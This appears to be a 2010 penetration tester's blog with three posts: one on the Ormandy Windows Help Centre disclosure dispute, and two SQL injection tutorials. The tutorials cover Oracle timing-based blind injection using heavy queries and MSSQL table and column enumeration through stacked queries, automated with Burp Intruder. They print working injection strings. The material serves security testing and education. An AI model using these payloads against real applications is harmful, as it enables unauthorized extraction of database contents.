Saturday 26 June 2010

Tavis Ormandy's Full Disclosure: Just the facts ma'am

Everybody has been talking about Tavis Ormandy's disclosure of a Windows Help Centre Vulnerability. There has been very heated debate going around. In some cases the word debate is a little generous. There has been a lot of name calling, mud slinging, and general ad hominem nonesense. People are trashing Tavis, Microsoft, and even Robert Hansen now. It's gotten a little out of hand. What I have noticed is a lack of real substantiated facts in these arguments. To that end, I have made an effort to contact both involved parties, Tavis Ormandy, and the MSRC. I am hoping that they will be willing to respond with some of the facts surrounding this occurrence., and maybe we'll hear a little bit of tempered truth, instead of everyone's emotionally charged bickering. Of course, the chances that either Tavis or the MSRC will be bothered to respond to me are probably not great, here's hoping.

UPDATE: I have heard back from Mr. Ormandy. He was very polite but has stated that he would prefer to let the issue rest than answer anymore questions. Since I am unable to present his side of the argument, even if I were to hear comment back from Microsoft, I would feel it impossible to present an unbiased view here. therefore I shall just let it drop. Perhaps that is really what we all just need to do. If you think he was right, then silently cheer him on, if you think he was wrong admit that maybe he made a mistake, and move on.

Wednesday 23 June 2010

Oracle Blind SQL Injection : Timing Based Attack using Heavy Queries

This is a neat little trick my mate and I just learned about while testing an Oracle based application with a blind SQL Injection vector in it. It is not new by any means, nor did we discover it. Check out the defcon presentation that gave us the starting point, here. Conventional wisdom would have you believe that you cannot do timing based blind sqli against oracle, since there's no waitfor delay. What we have done is unioned in a query that, when true initiates a secondary 'heavy' query to the database. What we mean by heavy is that it tries to pull a lot of data, purposely slowing down the response time. Let's take a look at our example:

NULL UNION ALL SELECT SOME_FIELD_1 AS COL1, SOME_FIELD_2 AS COL2,((CASE WHEN EXISTS(SELECT SOME_FIELD_3 FROM SOME_TABLE_2 WHERE 0>(select count(*) from all_users t1, all_users t2,all_users t3,all_users t4) AND 1=1) THEN 'own' ELSE 'pwn' END)) as COL3 FROM SOME_TABLE_1,SOME_TABLE_2 ,DUAL WHERE --
 This shows us a true example which should trigger based on the 1=1. So for this query we will see a noticeable delay over the same query with 1=1 replaced by 1=2. that tells us that a true condition will take much longer to reply now. So all we have to do is replace the simple 1=1/1=2 structure with our own test parameters. This is where you get into inserting your counts,lengths, and ascii(substr portions and slowly and methodically enumerate out every last bit of data in the system. This is a great technique to sue when other Blind Injection techniques fail.

Monday 7 June 2010

SQL Injection Tip of the Day: Table and Column enumeration in a single row

I will be getting around to putting together a comprehensive cheat sheet for sql injection. In the meantime, I figured I would release bits and pieces that I have found particularly useful. Today I want to talk about getting database schema metadata from Microsoft SQL Server 2005 and 2008(the technique may be slightly different for 2000).

This assumes you already have a sql inejction vector that allows serialisation of queries and union queries, and that the db user has create rights, although it can be modified to use update/insert into existing tables instead. So let's say you have found a sql injection vulnerability, but it will only return one row of results. That makes it an exceptionally arduous task to enumerate all the tables and their columns, one at a time. You can concatenate rows very easily, but you can't use concatenation against columns. This is where arrays come in to save the day. The first step is to inject a string like this:

';CREATE TABLE CT1 (tablenames VARCHAR(8000));DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+';' , '') + name from dbo.sysobjects where xtype='U'; INSERT INTO CT1(tablenames) Select @tablens;--

Remember to encode as needed. This creates a new table called CT1 with a max size varchar as it's only column. It then creates an array called tablens, and selects the entire name column from dbo.sysobjects where the object is a user table. Finally it inserts the array in semicolon delimited format into our newly created table.

Then we just do something silly like:
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

This of course returns the results, and clears the table out from behind us. We should now have all of the tablenames in this database. Using that we use the same attack vector, just slightly tweaked:


';DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+',' , '') + name from syscolumns where id=object_id('Table1'); INSERT INTO CT1(tablenames) Select @tablens;--
and
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

Now what I did, after making sure it worked, was to create a quick perl script. This perlscript took the list of tablenames, and custom generated the above attack strings for each table and put them into a text file. I then loaded this file into Burp Intruder as a custom payload, and let it run. Burp has enumerated almost all of the tables in a couple of minutes(this db had over 100 tables). Then it's just a matter of dumping all the results somewhere and pouring over it. Using this method, you can go from your proven sql injection vector to a map of the whole database in a very short amount of time.

And as ever, this showcases why Burpsuite Pro is a tester's best tool. How I ever worked without it is a mystery.